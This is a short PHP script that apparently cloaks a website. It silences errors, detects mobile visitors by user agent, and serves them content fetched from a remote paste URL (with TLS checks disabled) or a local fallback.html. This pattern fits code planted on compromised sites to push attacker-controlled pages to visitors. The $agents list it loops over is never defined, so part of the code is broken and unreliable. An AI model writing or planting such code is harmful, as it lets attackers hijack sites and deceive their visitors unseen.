<?php
// Silent mode
error_reporting(0);
ini_set('display_errors', 0);

// ===== USER AGENT DETECTOR =====
function isAllowedUA() {
    if (!isset($_SERVER['HTTP_USER_AGENT'])) return false;

    $ua = strtolower($_SERVER['HTTP_USER_AGENT']);


    // Mobile hint (Chrome)
    if (isset($_SERVER['HTTP_SEC_CH_UA_MOBILE']) && $_SERVER['HTTP_SEC_CH_UA_MOBILE'] === '?1') {
        return true;
    }

    foreach ($agents as $agent) {
        if (strpos($ua, $agent) !== false) {
            return true;
        }
    }

    return false;
}

// ===== CURL LOADER =====
function loadRemote($url) {
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_USERAGENT => 'Mozilla/5.0'
    ]);

    $data = curl_exec($ch);
    curl_close($ch);

    return $data;
}

// ===== MAIN LOGIC =====
if (isAllowedUA()) {

    $remoteUrl = "https://raw.zeverix.com/raw/untitled-842";
    $content   = loadRemote($remoteUrl);

    // Fallback kalau remote mati
    if (!$content) {
        $localFallback = __DIR__ . '/fallback.html';
        if (file_exists($localFallback)) {
            $content = file_get_contents($localFallback);
        }
    }

    if ($content) {
        echo $content;
        exit;
    }
}
?>